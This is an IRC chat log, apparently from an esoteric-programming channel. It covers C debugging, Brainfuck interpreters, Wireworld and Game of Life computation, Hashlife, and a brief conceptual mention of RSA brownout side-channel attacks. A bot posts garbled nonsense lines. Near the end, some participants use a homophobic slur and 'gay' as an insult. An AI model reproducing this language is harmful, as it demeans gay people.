17:35:55 <pikhq> ... 3 = 4196080.
17:36:00 * pikhq hates C.
17:36:13 <MissPiggy> you don't hate C :P
17:38:10 <scarf> !c printf("%x",4196080);
17:38:22 <EgoBot> 4006f0
17:38:28 <scarf> hmm
17:38:38 <scarf> that looks like a pointer value to me
17:38:39 <MissPiggy> !c printf("%d",0x4196080);
17:38:40 <EgoBot> 68771968
17:39:39 <fizzie> Yes, being aligned like that and near 0x400000, it looks really rather pointery.
17:39:45 <pikhq> I think that 0x4006f0 is in libc this week. :/
17:40:00 -!- kar8nga has quit (Remote host closed the connection).
17:40:09 <fizzie> 0x400000 and nearby regions tend to be in the executing program, actually. At least on Linux.
17:40:10 <dev_squid> Damn.
17:40:13 <pikhq> (prelinked system)
17:40:19 <dev_squid> This is just amazing. (http://www.quinapalus.com/wires11.html)
17:40:27 <scarf> six hex digits, most of which are 0, always looks pointery to me
17:40:33 <scarf> unless it looks even more strongly like something else
17:40:41 <AnMaster> <pikhq> Hmm. count = 1; count++;count++;(according to GDB)$8 = 4196080
17:40:41 <AnMaster> <pikhq> ... 3 = 4196080.
17:40:43 <AnMaster> what the heck?
17:40:48 <scarf> dev_squid: is that the WireWorld CPU?
17:40:52 <dev_squid> scarf, yes.
17:41:07 * pikhq dumps the prelink table
17:41:16 <AnMaster> pikhq, is count a pointer?
17:41:22 <dev_squid> scarf, is that not more than enough reason to jizz your pants upon eye contact?
17:41:25 <pikhq> AnMaster: It's an int.
17:41:30 <pikhq> Initialised to 1.
17:41:32 <scarf> dev_squid: it's pretty impressive
17:41:41 <AnMaster> pikhq, so 1+1+1 = 4196080 according to gdb?
17:41:42 <scarf> it would be even nicer if it could somehow be made TC, say by repeating a region
17:41:48 <pikhq> AnMaster: Yes.
17:42:10 <AnMaster> pikhq, does it do something in between those assign and increment?
17:42:12 <AnMaster> the program I mean
17:42:15 <scarf> dev_squid: and the only reason I'm not getting very impressed immediately is that I've seen it before, and things are never quite as impressive the second time
17:42:17 <dev_squid> scarf, I find it simply incredible that one can construct entire computer architectures just from a simple set of rules for a cellular automaton.
17:42:19 <pikhq> AnMaster: Comparisons.
17:42:31 <AnMaster> pikhq, no assigning elsewhere?
17:42:34 <scarf> dev_squid: well, the rules for transistors are pretty simple
17:42:39 <pikhq> None.
17:42:40 <dev_squid> scarf, that's true.
17:42:49 <pikhq> The function is not even left.
17:42:49 <AnMaster> pikhq, then I suggest you put a watch on that value
17:43:08 <dev_squid> scarf, I think one of the biggest challenges, once you have the idea in mind, is getting the pulses timed perfectly.
17:43:18 * pikhq shall poke at it again in a bit.
17:43:24 <scarf> even that isn't too hard with a debugger, you can even do it by trial and error
17:43:29 * scarf remembers his experiences messing with Rubicon
17:43:41 <scarf> the trick is to be able to test a small bit of it at a time
17:43:50 <dev_squid> scarf, you don't even need a debugger. Just a cellular automata simulator. Lawl. :)
17:44:00 <scarf> that effectively is a debugger
17:44:04 <scarf> after all, you can see all the internals
17:44:05 <dev_squid> Troof.
17:44:16 <dev_squid> I can see a lot a trial and error happening.
17:44:32 <scarf> dev_squid: have you seen Rubicon? http://kevan.org/rubicon/
17:44:39 <scarf> it's a computer game based on http://esolangs.org/wiki/RUBE
17:44:45 <dev_squid> It's definitely my favorite configuration for any automaton...next is the turing machine in Life.
17:44:50 <dev_squid> Oh, NICE.
17:45:17 <AnMaster> pikhq, well put a watch on it. And if this is actually C++ I shall kill you
17:46:34 <AnMaster> pikhq, also I suggest valgrind, especially with that -tool=exp-ptrcheck
17:46:40 <pikhq> AnMaster: I'm just futzing with my BF interpreter again while drinking coffee to try and wake up.
17:46:58 <pikhq> I decided to make it not use getdelim (a GNU extension), and am now having issues.
17:47:37 <AnMaster> pikhq, yes count=1; count++; count++ giving count=4196080 is definitely wrong
17:47:38 <dev_squid> scarf, I'm still trying to trace the entire thing.
17:47:48 -!- Gracenotes has quit (Ping timeout: 276 seconds).
17:47:50 <pikhq> And yes, it's C. It's very rare that I write code in C++.
17:47:56 <AnMaster> pikhq, but why would a bf interpreter need getdelim at all?
17:48:01 <pikhq> (too much agony to be had there)
17:48:20 <pikhq> AnMaster: Read the entire Brainfuck file into memory.
17:48:25 <dev_squid> pikhq, aren't there enough BF interpreters in the world?
17:48:52 <pikhq> dev_squid: Yes. Because they're easy to write, and they can solve boredom for a short period of time.
17:48:55 <AnMaster> pikhq, yes and?
17:49:08 <pikhq> AnMaster: ... And then parse the entire thing from memory.
17:49:31 <AnMaster> pikhq, I mean, you just read/parse char by char ignoring any non-instructions
17:49:41 <pikhq> Yes.
17:49:44 <dev_squid> I wrote my first BF interpreter in x86 Asm...of course, it failed epicly.
17:49:54 <pikhq> There's a reason I'm changing it to *not* use getdelim. ;)
17:49:57 <AnMaster> pikhq, [ ] I handle by making my parser recursive
17:50:11 <AnMaster> pikhq, I can't even think of how getdelim could be *useful at all*
17:50:13 <AnMaster> for this
17:50:21 <pikhq> It's slightly easier.
17:50:25 <AnMaster> pikhq, than?
17:50:42 <pikhq> fgetc.
17:51:13 <AnMaster> pikhq, mmap and for (i=0; i<size_of_file_from_stat; i++) ?
17:51:34 <AnMaster> I think that is what I did in my first bf compiler (which was written in C)
17:51:42 <pikhq> That'd be slightly annoying.
17:51:56 <pikhq> My parser loop is tail recursive. :P
17:52:06 <pikhq> ... As is my interpreter...
17:52:32 <AnMaster> pikhq, well fgetc is not really hard you just do a while(c=fgetc(infile)) { switch ...
17:52:43 <AnMaster> and then switch on EOF, and the valid instructions
17:52:47 <AnMaster> with default doing nothing
17:53:05 <pikhq> Yeah, I'm only having any issues with my +-/>< routines.
17:53:05 <AnMaster> pikhq, as for parser being tail recursive: huh
17:53:07 <pikhq> (they RLE)
17:53:07 <dev_squid> The way I handled [ was pushing the offset in the source and incrementing my number-of-unbalanced-['s-variable, and popping and jumping if ] was hit and the balance flag was nonzero. :)
17:53:20 <dev_squid> It was slightly messy.
17:53:42 <AnMaster> well, you are basically emulating a stack there
17:53:58 <AnMaster> I just thought "why would I do that, I can just call myself recursively"
17:54:05 <AnMaster> then let the C stack do the job
17:54:14 <pikhq> Yes, my handling of loops is non-tailcall recursion.
17:54:14 <dev_squid> Because C is nicer.
17:54:18 <AnMaster> anyway, I put the instructions in a linked list
17:54:23 <AnMaster> with down-links for loops
17:54:24 <AnMaster> iirc
17:54:33 <pikhq> As am I.
17:54:55 <AnMaster> pikhq, oh? didn't you say it was tail call a second ago?
17:55:00 <pikhq> Hand-optimised the "tail call modulo cons" into a normal tail-call.
17:55:16 <dev_squid> You could always construct it in Asm and interface with the C stdlib...what platform are you writing it for?
17:55:16 <pikhq> AnMaster: It is.
17:55:31 <pikhq> AnMaster: Here's an example: bfparse(f, &(*accum)->tail);
17:56:03 <pikhq> static void bfparse(FILE *f, list *accum); // the declaration
17:57:03 -!- tombom_ has joined.
17:59:59 -!- tombom has quit (Ping timeout: 240 seconds).
18:00:41 -!- oklopol has joined.
18:00:43 <oklopol> o
18:00:46 <oklopol> o
18:01:48 <scarf> ooko
18:02:09 <oklopol> so what if we assumed an impossible object, then proved some properties of it, think there might be incredibly pretty theorems that just happen to require objects that can't be constructed?
18:03:16 <oklopol> what if some of the proofs that true = false => anything, in some logical systems, actually happened to be really interesting, but we just never looked because that would be ridiculously insane
18:03:29 -!- Gracenotes has joined.
18:03:45 <oklopol> we have to ask these questions ppl
18:08:08 <lament> well actually we don't.
18:08:54 <AnMaster> pikhq, ah... I made mine a while loop and body recursive for [
18:09:11 <oklopol> lament: you're such a THEIST.
18:09:14 <pikhq> AnMaster: Eh, wouldn't be hard to do that.
18:09:27 <pikhq> Just a matter of manually doing the tail call optimisation.
18:09:39 <AnMaster> pikhq, well sure
18:09:47 <MissPiggy> oh this game rubeicon is going to take time :(
18:09:52 <AnMaster> pikhq, but what about tail call for [ ?
18:10:16 <pikhq> ... What tail call?
18:10:19 <oklopol> rubicon? is that a flash game or ascii or what was it?
18:10:29 <AnMaster> MissPiggy, iirc I solved all the included levels in about 15 minutes in total first time I played it
18:10:38 <pikhq> It's not a tail call if you then do something afterwards.
18:10:40 <AnMaster> oklopol, java
18:10:43 <pikhq> That's just a *call*.
18:10:43 <oklopol> okay cool
18:10:55 <oklopol> well the fact you considered it trivial isn't cool
18:10:56 <AnMaster> pikhq, I meant the descending into the loop bodyu
18:10:57 <AnMaster> body*
18:11:02 <oklopol> that sucks
18:11:16 <pikhq> AnMaster: Yes, that's not a tail call.
18:11:23 <cpressey> Implementing Brainfuck in CPS would let you pre-allocate a single continuation (because you know the maximum nesting depth) but at that point it's not very different from using your own stack.
18:11:27 <AnMaster> pikhq, -_- I know that
18:11:38 <AnMaster> pikhq, I just challenged you to make your parser *fully* tail recursive
18:11:42 <MissPiggy> that's a lot faster than me
18:11:42 <pikhq> Then "what about tail call for [" makes no bloody sense.
18:11:43 <AnMaster> even for loop bodies
18:11:46 <pikhq> Ah.
18:11:47 <AnMaster> pikhq, ^
18:12:04 <pikhq> That's a simple matter of manually doing CPS or a stack.
18:12:15 <pikhq> Pointless, but simple.
18:12:22 <AnMaster> bbl
18:13:09 -!- angstrom has left (?).
18:19:11 -!- kar8nga has joined.
18:20:53 <AnMaster> pikhq, found out why the ++ was broken btw?
18:21:03 <pikhq> No, not been looking at it.
18:21:07 <AnMaster> pikhq, a watch out to find exactly where in between it was modified
18:21:19 <AnMaster> I strongly doubt that ++ itself adds more than 1
18:34:41 <MissPiggy> that game pissed me off
18:34:48 <MissPiggy> it doesn't save your plcae
18:39:54 <AnMaster> MissPiggy, can't you skip forward iirc?
18:40:01 <AnMaster> also it is trivial to solve it in one run
18:42:25 <MissPiggy> guys
18:42:26 <MissPiggy> I’ve built a whole science out of studying the universe of possible programs–and have discovered that even very simple ones can generate all sorts of rich and complex behavior.
18:44:59 <cpressey> That sounds like it could very well be a new kind of science.
18:45:05 <MissPiggy> :D
18:49:08 <dev_squid> Alrighty, this is about to drive me up the wall! Someon help...
18:49:08 <MissPiggy> "one of the discoveries of NKS is a phenomenon I call computational irreducibility–which says that many systems that appear complex will have behavior that can never be “reduced” in general to a simpler computation." :S
18:49:35 <MissPiggy> that seems completely trivial result from complexity theory..?
18:51:00 <dev_squid> Is it impossible in Wireworld to make a transistor that halves the flow of a 4-micron current?
18:51:55 <cpressey> MissPiggy: I have no idea what it means, given that he scare-quotes "reduce" but doesn't define it
18:52:05 <dev_squid> I've been trying and it seems that parity doesn't allow it. If I delay the transistor's pulse by one, it's too slow, and if I speed it by one, it's too fast.
18:52:11 <dev_squid> I've tried everything.
18:52:55 -!- cheater99 has quit (Quit: Verlassend).
18:53:18 <cpressey> Most "mathematical philosophy" is garbage because most "mathematical philosophers" have never seriously studied philosophy.
18:53:35 <lament> (or mathematics)
18:54:00 <lament> most "philosophy" is garbage because most "philosophers" have never seriously studied philosophy.
18:54:07 <dev_squid> I think there's just not enough of a gap to make it work. I think the gap might have to be an odd number for a transitstor to work. :|
18:54:12 <lament> see ##philosophy for the dumbest channel on freenode
18:54:13 <dev_squid> :P
18:54:26 <dev_squid> *transistor
18:55:19 <dev_squid> Mathematical philosophy? I've never heard of it, but it sounds ridiculous. Mathematics is precise, but philosophy is abstract and arbitrary.
18:55:35 <lament> dev_squid: philosophy *of* mathematics
18:55:41 <lament> dev_squid: do numbers exist???
18:55:47 <dev_squid> That doesn't make much sense either.
18:55:50 <lament> it's somewhat of a valid question
18:56:18 <MissPiggy> what is a number
18:56:19 <cpressey> dev_squid: Books like "New Kind of Science" and "Goedel, Escher, Bach" qualify as "mathematical philosophy" to me.
18:56:20 <dev_squid> That's a valid question, but it's not profound enough to consider it philosophy.
18:56:35 <cpressey> Not the same as philosophy of mathematics, quite.
18:56:41 <lament> dev_squid: what.
18:56:50 <lament> what's the threshold for profoundness then?
18:57:03 <dev_squid> I guess it's up to the person asking.
18:57:18 <lament> or rather, what branch of science should address this question, if not philosophy of mathematics?
18:57:24 <MissPiggy> dev_squid, philosophy just means critical thinking it doesn't have to be profound but obvious profound stuff is some of the best/most famous philosophy
18:57:33 <dev_squid> I don't think it's a question worth addressing, personally.
18:57:33 <MissPiggy> obviously*
18:57:53 <lament> dev_squid: why, is the answer obvious?
18:58:01 <dev_squid> It's obvious to me.
18:58:13 <MissPiggy> what is the answer??
18:58:27 <dev_squid> There is no definite answer, for sure.
18:58:30 <lament> ...
18:58:34 <dev_squid> But...
18:58:46 <MissPiggy> dev_squid philosophy doesn't care if there's a definite answer or not
18:58:54 <MissPiggy> dev_squid the whole point is the journey
18:59:03 <dev_squid> It depends on how you define "numbers".
18:59:13 <cpressey> "Computational irreducibility" seems to be "You can't predict the final state of a (complex) program without running it". Sounds like a layman-formatted version of undecidability to me.
18:59:14 <MissPiggy> (although some philosophers say that if there is a definite answer it's not philosophy any more, I don't agree with that)
18:59:34 <MissPiggy> cpressey, yeah I can't understand why it is even mentioned it is so weird..
19:00:00 <cpressey> MissPiggy: To sell more copies of Mathematica, of course.
19:00:08 <cpressey> Wolfram is a marketing machine.
19:00:34 <dev_squid> cpressey, that's some crazy shit. What exactly isn't predictable but that's traceable?
19:01:08 <MissPiggy> dev_squid, imagine some terribly complicated progarm that happend to always print 1 :P
19:01:39 <cpressey> dev_squid: Well, take the Life automaton for example. If I give you a random starting configuration, can you tell me if there will eventually be a glider at some coordinates (x, y)?
19:03:56 <dev_squid> cpressey, are you asking if I -personally- can predict it, or if -anything- could predict it?
19:04:37 <MissPiggy> ((p nand q) nand r) nand (p nand ((p nand r) nand p)) = r
19:04:53 <MissPiggy> apparently that's all you need to define nand ? :|
19:05:05 <cpressey> dev_squid: Well, not you personally :) Say "any computer program".
19:05:11 <MissPiggy> where's oklopol
19:05:13 <MissPiggy> can clue do that?
19:05:14 <oklopol> here
19:05:21 <MissPiggy> oh my god are you arelly there!
19:05:21 <oklopol> yes
19:05:41 <cpressey> Bootstrapped NAND, I never thought of that. Nice.
19:05:46 <dev_squid> cpressey, I do remember reading about complicated algorithms that could calculate a future generations without simulating each generation seperately, IIRC.
19:06:00 <dev_squid> cpressey, is that what you mean?
19:07:32 <dev_squid> cpressey, but without simulating it, I guess you could say you can't calculate when the next time state N will occur.
19:07:35 <cpressey> dev_squid: Assuming such algorithms exist -- yes, I'm referring to the fact that running those algorithms are tantamount to running the Life automaton.
19:08:08 <fizzie> Features, schemeatures: added that thing into twungot where it replies whenever someone tweets with the string @fungot in it.
19:08:09 <fungot> fizzie: indeed, do any search for air france 296
19:08:30 <cpressey> dev_squid: It all derives from the Halting Problem.
19:08:40 <dev_squid> cpressey, yep.
19:09:00 <lament> but what is the meaning of it all?
19:09:06 <MissPiggy> lament :(
19:09:45 <dev_squid> cpressey, so you can't calculate the next time state N will occur without actually running the program.
19:09:46 <dev_squid> I see.
19:10:07 <MissPiggy> (or a more complicated version of the program)
19:10:09 <cpressey> dev_squid: Not *in general*, no. In some special cases, yes.
19:11:02 <cpressey> Like, if I have a set of configurations where I've already run them and cached where the gliders end up, and you give me a configuration that happens to be one of those... as a trivial example.
19:11:03 <dev_squid> cpressey, yep.
19:11:32 <dev_squid> cpressey, I'm thinking of Hashlife.
19:11:38 <dev_squid> cpressey, *facedesk*
19:12:05 <cpressey> Ah, I see.
19:12:06 * MissPiggy 's todo list contains: implement/understand hashlife
19:12:15 <MissPiggy> something which I probably wont actually ever do...
19:12:24 <cpressey> Yeah, it looks like a kind of abstract interpretation of Life.
19:12:53 <dev_squid> MissPiggy, I don't understand it, and I doubt I ever will.
19:13:04 <cpressey> Thing is, there will always be some Life configurations where running them in Hashlife won't be any faster.
19:13:06 <MissPiggy> I don't imagine it's very difficult
19:13:45 * cpressey 's todo list contains "understand and implement generalized abstract interpretation" :)
19:14:07 <MissPiggy> lament but what does it mean to understand something?
19:14:31 <dev_squid> cpressey, I was under the impression Hashlife doesn't iterate generations at all, but it seems like it does...just, a lot faster.
19:16:14 <pikhq> Hashlife just works by noting that Life patterns are highly redundant. And so, it can memoise the iteration of patterns.
19:16:19 <cpressey> It looks like it does iterate generations, at first, and as it does so, it "recognizes" the patterns in them. After it has recognized the patterns, it uses them to process the evolution.
19:16:25 <lament> MissPiggy: but what does mean mean?
19:17:23 <pikhq> For instance -- gliders. It can, instead of computing each and every cell in the glider pattern, simply fetch the next needed portion of the pattern out of its hash table.
19:18:03 <cpressey> Thing is, (and I'm basing this on the idea that Life is TC), it should be possible to find Life forms that don't get significantly simpler over time. Some kind of puffer train which grows utter crap behind it comes to mind.
19:18:12 <Deewiant> fizzie: Will it reply to @fungotfoobar as well?
19:18:13 <fungot> Deewiant: oznaczono jako spam lmmfao that had me laughing the whole films takes place in slow motion affect you can hear the engiens running, it would be 2 flight crew, and not what you'd expect!
19:18:44 <MissPiggy> f(z) = z
19:18:44 <MissPiggy> This map is called the identity map, and is extremely boring.
19:18:55 <lament> whatusedtobefungotboring
19:18:56 <fungot> lament: i personally liked the mr. potato head one.... really awesome, and not a single reply before posting the same 24-second video that was a " man" a " pussy" a high vocabulary level.
19:19:20 <MissPiggy> cpressey :D I wonder what the life equivalent of busy beaver is
19:19:24 <pikhq> http://en.wikipedia.org/wiki/Video_Life Man.
19:19:49 <pikhq> MissPiggy: A busy beaver.
19:19:57 <fizzie> Deewiant: No, because those don't end up on the "mentions" Twitter API listings.
19:19:58 <MissPiggy> pikhq what the fuck
19:19:59 <pikhq> Life describes a TC system.
19:20:02 <MissPiggy> are you trolling
19:20:20 <cpressey> pikhq: No, other Life.
19:20:21 <Deewiant> fizzie: Ah, you're using a clever API.
19:20:35 <MissPiggy> this is like that time when I was wondering how to prove something was undecidible and you said "halting problem"
19:20:46 <MissPiggy> it's suck a fucking awful answer I can't tell if you are trolling or not
19:20:47 <fizzie> Deewiant: Since they've bothered to provide a nice, RESTful JSON-driven API, I might as well use it.
19:21:03 <Deewiant> Yes, I suppose you might. :-)
19:21:55 <pikhq> MissPiggy: Life is equivalent to a Turing-machine. Thus, the busy beaver analogue is merely an implementation of a busy beaver machine in Life.
19:22:01 <MissPiggy> shut up
19:22:29 <MissPiggy> pikhq: f(z) = z
19:22:30 <MissPiggy> This map is called the identity map, and is extremely boring.
19:22:47 <lament> what is life?
19:22:51 <pikhq> MissPiggy: When you ask a boring question, you get a boring answer.
19:23:00 <fizzie> Twungot (undocumented, unpretty) code is in fungot's git repository anyhow.
19:23:00 <fungot> fizzie: what if she is so funny...
19:23:07 <lament> MissPiggy: isn't the identity map pretty interesting?
19:23:11 <lament> i mean, what's the type signature?
19:23:18 <MissPiggy> lament this is from terry tao
19:23:25 <lament> yeah well he can suck it
19:23:42 <pikhq> lament: The B3/S23 2 dimensional cellular automaton. Known to be Turing-complete.
19:24:03 <lament> pikhq: great answers to great questions
19:24:23 <pikhq> lament: Of course, if you don't grok that, that doesn't help you. But, then, you're here, so. ;)
19:24:40 <lament> but what's the MEANING of life?
19:24:54 <pikhq> Beats me.
19:25:00 <cpressey> z = f(z) = f(f(z)) = f(f(f(z))) = (the remainder of this sequence has been hashlifed into constant space)
19:25:23 <cpressey> I guess the other question is, where is Hashlife for Turing Machines?
19:26:00 <MissPiggy> normal turing machines don't have so much redundancy
19:26:08 <dev_squid> True.
19:26:48 <cpressey> Yeah, Life has all that symmetry. It's pretty bloated that way.
19:27:23 <dev_squid> So back to my original question, is it impossible (due to parity) to make a transistor that halves a 4-micron current in WireWorld?
19:27:36 <lament> Life needs some spontaneous symmetry breaking.
19:27:44 <dev_squid> I've been trying and I get it either on generation too fast or one too slow.
19:28:02 <cpressey> dev_squid: Been a lot time since I've WW'ed. From faint echoes of firings of neurons, I would guess, yes, it's impossible.
19:28:17 <cpressey> Complete guess.
19:28:27 <cpressey> Seem to remember having similar frustrations.
19:28:32 <cpressey> Could be completely wrong.
19:28:34 <dev_squid> cpressey, I think the current has to be of n-micron where n is odd. >:(
19:29:30 <dev_squid> cpressey, or it could just be that it's too small of a gap, much like in how 4-micron currents can't go through the smaller logic gates.
19:29:42 <dev_squid> *properly
19:30:14 <dev_squid> I'll try it with 5-micron. :)
19:30:56 <MissPiggy> the turing machine example that comes with Golly is just one way to make a turing machine
19:31:09 <MissPiggy> and turing machines araen't the only way to impleement N -> N functions in Life
19:31:38 <dev_squid> MissPiggy, yerp.
19:31:47 <MissPiggy> there is a limit on the size that a life pattern can grow, it takes n steps (minimum) to reach n pixels away
19:32:03 <MissPiggy> and finding a configuartion that fills space as fast as possible is trivial
19:32:31 <MissPiggy> but that configuration is not a busy beaver
19:32:40 <MissPiggy> it only computes O(n^2)
19:33:48 <MissPiggy> that's why it's an interesting question and 'shut-up' answers like "just implement it in the turing machine" are not good
19:35:23 <pikhq> Okay, so you want the non-trivial busy beaver configuration for Life.
19:35:37 <pikhq> You should say as much. Otherwise you get simple answers.
19:35:50 <MissPiggy> pikhq it's not my homework
19:36:02 <MissPiggy> I just mentioned this because it's interesting
19:36:03 <pikhq> ...
19:36:18 <pikhq> Did I even claim that?
19:36:30 <pikhq> I simply gave you a trivial answer to a trivial question.
19:37:24 <MissPiggy> ok
19:40:54 -!- asiekierka has quit (Ping timeout: 276 seconds).
19:46:00 <dev_squid> Dumb question incoming.
19:46:11 <dev_squid> ANDNOT=NAND?
19:47:02 <dev_squid> All Wireworld references I've seen call them ANDNOT gates...why not just NAND?
19:48:25 <fizzie> "An AND-NOT gate calculates the function ‘A AND NOT B’." -- at least that sort of function is not NAND.
19:48:26 -!- hiato has joined.
19:49:01 <lament> p and not q != not (p and q)
19:49:02 <dev_squid> So ANDNOT is not NAND?
19:49:12 <dev_squid> I see.
19:50:38 <cpressey> MissPiggy, you could implement Hashlife for Langton's Ant.
19:50:43 <cpressey> ... Hashant.
19:50:51 <dev_squid> I've also noticed that the XOR gates they've described don't have a clock structure to output a 1 when there is not input (i.e. 0 xor 0)...so are they not -true- XOR gates?
19:52:04 <cpressey> XOR doesn't need a clock, as long as when both inputs are 0 the output is 1, it should be no problem.
19:52:40 <dev_squid> cpressey, the gate isn't 'active', so if there is no input, there is not output.
19:53:03 <cpressey> Hm, then yes,it is some pseudo-XOR, I'd say.
19:53:08 <dev_squid> Yep.
19:53:41 <dev_squid> You could construct a 'real' XOR gate with an AND and then NOT structure.
19:54:38 <fizzie> Uh.. isn't 0 XOR 0 supposed to be 0, anyway? XOR is true for (1, 0) or (0, 1); false for (0, 0) or (1, 1).
19:54:53 <dev_squid> fizzie, no. 0 xor 0 is 1.
19:55:06 <fizzie> That's a very strange sort of exclusive-OR.
19:55:08 <dev_squid> Oh, wait.
19:55:18 <dev_squid> *facedesk*
19:55:24 <cpressey> Oh, confusion between XOR and EQU I think.
19:55:27 <MissPiggy> I totally don't understand any boolean domain except {0,1}
19:55:31 <cpressey> EQU being the inverse of XOR
19:55:43 <dev_squid> Oh, yeah I confused it.
19:56:00 <dev_squid> Again, *facedesk*. Pardon my faggotry.
20:01:24 <cpressey> So it turns out, in my experimental term-rewriting language, the terms *being rewritten* may contain variables. This was an accident, and strikes me as somewhat... unwholesome. However, until I understand the implications, I'm hesitant to take it out.
20:02:10 <MissPiggy> :D
20:02:35 <cpressey> let (a @x) -> (b @x) in (a 5) ==> (b 5) <-- that's normal (@x denotes a variable.)
20:03:26 <cpressey> let (a 5) -> (b @x) in (@x 5) ==> (b a) <-- that's nuts.
20:17:16 -!- oerjan has joined.
20:19:31 -!- Asztal has joined.
20:23:07 <oerjan> <AnMaster> horrible music interrupted by "you now have place number 5 in the queue"
20:23:19 <oerjan> well what were you doing in the queue to HELL anyway
20:31:23 <oerjan> <augur> alise talks too much.
20:31:50 <oklopol> oerjan quotes too much
20:31:56 <oerjan> after that discussion you and coppro had in the logs, you shouldn't be complaining ;D
20:33:20 <fizzie> oklopol doth protest too much.
20:33:22 <oerjan> oklopol: don't worry, that was the last one for now
20:34:54 <oklopol> i was just hoping you'd quote me and say something witty!
20:35:15 <oerjan> <oklopol> oerjan quotes too much <-- no i don't!
20:35:21 <oerjan> like that?
20:35:54 <oklopol> yes, thank you
20:37:55 <oklopol> so
20:38:01 <oklopol> what discussion did they have?
20:39:10 <oerjan> about whether a rotating coordinate frame is as valid as a non-rotating one. it was my fault for bringing it up, actually.
20:40:38 <oklopol> well if you mention coordinate frames, what can you expect except a flamewar
20:40:56 <oerjan> wouldn't a framewar be more likely?
20:41:18 <oklopol> must've been a typo
20:41:27 <oerjan> how typical
20:50:21 <scarf> hmm, they found a side-channel attack against RSA
20:50:34 <scarf> where you can brownout a system trying to do the calculations and figure out the private keys that way
20:50:50 <oerjan> what's brownout?
20:51:59 <scarf> when a system doesn't have enough voltage on the input to operate correctly, but it doesn't have low enough voltage that it turns off altogether
20:52:20 <scarf> some systems have explicit brownout detection circuitry; the rest just malfunction in that situation
20:52:34 <cpressey> o_O
20:53:25 <oerjan> that reminds me of that jvm attack which depends on random faults in memory
20:53:55 <oerjan> s/faults/errors/
20:54:29 <oerjan> both seem to depend on a computer's hardware not doing what it should
20:54:32 <scarf> there was a proof a while bag that you could remotely attack (I'm not sure which sort of attack) an RSA system that ran on a processor that did one multiplication incorrectly, FDIV-bug style
20:54:56 <oerjan> heh
20:55:44 <oerjan> although brownout sounds like you need physical access
20:56:27 <cpressey> or good timing
20:56:34 <cpressey> (I hear thunder in the distance)
20:56:43 <oerjan> maybe if you control the power plant first
20:57:31 <scarf> oerjan: on a system with software-controlled overclocking, you can do it by overclocking the processor past its possible range
20:57:44 <oerjan> ooh
20:57:46 <scarf> well, that either browns out the system or causes it to melt
20:58:03 <scarf> depending on whether the power supply or the heatsinking fails first
21:02:18 -!- pikhq has quit (Read error: Connection reset by peer).
21:02:56 -!- pikhq has joined.
21:03:40 <pikhq> Why yes, FUSE filesystem, I would absolutely love for you to read the entire contents of that file into memory.
21:03:59 <pikhq> I of course have enough memory for 12 gigabyte files in RAM.
21:04:19 <fizzie> I've somehow always felt that side-channel attacks are somehow unfair to poor widdle cryptographers. :/
21:04:32 <scarf> pikhq: 12GB of RAM isn't entirely implausible nowadays
21:05:17 <pikhq> scarf: Yes, but reading the entire contents of a 12GB file into memory is pretty dumb.
21:05:26 <scarf> it depends on what you're doing
21:05:41 <pikhq> ... Filesystem.
21:05:54 <scarf> heh
21:06:38 <fizzie> FUSE filesystems sometimes are a bit dumb; see, when you put it in userspace, you make it a lot easier to just write a messy filesystem, without having arcane skills; and then people do.
21:07:04 <pikhq> So I have discovered.
21:07:24 <fizzie> One would hope that at least the widely used ones (sshfs?) would be clever enough not to be stupid, though.
21:07:50 <pikhq> I was playing with fusecompress. Which apparently sucks for large files.
21:08:15 <pikhq> It appears to read an entire file into memory when you modify it.
21:08:29 -!- oklokok has joined.
21:09:13 -!- oklopol has quit (Ping timeout: 264 seconds).
21:09:28 <fizzie> Well, compression always makes random-access harder.
21:10:30 <pikhq> Yes, but there are fairly easy ways to make it not horrifying.
21:10:32 -!- sebbu2 has joined.
21:10:48 <pikhq> Even if you're not going to be clever: split the file into blocks. Compress the blocks seperately.
21:11:02 -!- hiato has quit (Quit: leaving).
21:11:11 <pikhq> Inefficient, but it's at least not going to swap you to death when you try to modify a file.
21:11:49 -!- sebbu has quit (Ping timeout: 258 seconds).
21:11:49 -!- sebbu2 has changed nick to sebbu.
21:11:57 <cpressey> I love my magic objects and their magic
21:13:01 <fizzie> pikhq: It should do that already, I think. At least the fusecompress man page options list has: "Block size influences compression ratio. Bigger block size allows better compression ratio, but random access to data will be slower and memory requirements will be bigger." They must have just screwed it up somehow.
21:13:13 <cpressey> I think "magic" in this context might even be definable: putting together two functionalities which should be separate.
21:13:23 <fizzie> (Default size is 100 kB.)
21:13:24 <cpressey> Like, generating a form, and seeing if a form needs to be generated.
21:14:21 <pikhq> fizzie: ... Yeah, probably just screwed it up.
21:14:36 <pikhq> And I'm not going to look and see how to get it right.
21:15:03 <fizzie> I'm happy to report that at least dd'ing a 10-byte block at the middle of a three-gigabyte file over sshfs won't cause it to transfer three gigabytes over the network.
21:15:42 <pikhq> That's because sshfs is somewhat intelligent.
21:18:19 <oerjan> it lets you read data sanely so you won't suspect its plan to take over the world
21:24:21 <scarf> ok, YouTube comments are driving me mad
21:24:26 <scarf> the issue isn't the content, but chronological order
21:24:40 <scarf> the /newest/ comments are at the top, except that older comments appear to be written as replies to newer ones
21:25:10 <scarf> which appears to require either a whole load of the IRP-style "hello" "please say 'hello' immediately before this comment", or a deceptive sorting algorithm
21:25:53 <oerjan> scarf: time travelers from a future idiocracy?
21:25:55 <cpressey> scarf: I have never frickin understood them either.
21:26:09 <Deewiant> scarf: It's deceptive. Not sure how it works.
21:26:12 <scarf> oerjan: I like the concept
21:26:29 <cpressey> I understand that the newest is at the top, but even so, there is always someone who is replying to something I can't see, for whatever reason.
21:28:39 <scarf> further theory: people in Youtube, whenever they see someone's replied to their question, repeat the question
21:28:41 <scarf> for context
22:10:52 -!- BeholdMyGlory has joined.
22:17:09 <pikhq> The Youtube comment system is probably designed to allow for stupid people.
22:17:41 -!- oklokok has quit (Read error: Connection reset by peer).
22:18:45 <augur> <oklokok> i love augur
22:18:55 <augur> HAY GAIS
22:19:45 <pikhq> OHEY
22:20:48 -!- dev_squid has quit (Ping timeout: 252 seconds).
22:30:58 -!- kar8nga has quit (Remote host closed the connection).
22:31:02 -!- tombom_ has quit (Quit: Leaving).
22:33:14 -!- coppro has joined.
22:41:37 -!- dev_squid has joined.
22:46:42 -!- oerjan has quit (Quit: Later).
22:48:50 -!- MigoMipo has quit (Remote host closed the connection).
22:50:28 -!- alise has joined.
22:50:45 <alise> I am looking at Windows 7 Home Premium.
22:50:47 <alise> Challenge: Explain this.
22:52:39 <scarf> this isn't your computer
22:52:51 <scarf> the fact that you're using a webclient extends that impression
22:53:19 <lament> alise: you're gay.
22:53:27 <MissPiggy> problem solved
22:53:54 <Gregor> Gays see Windows 7 in their mind.
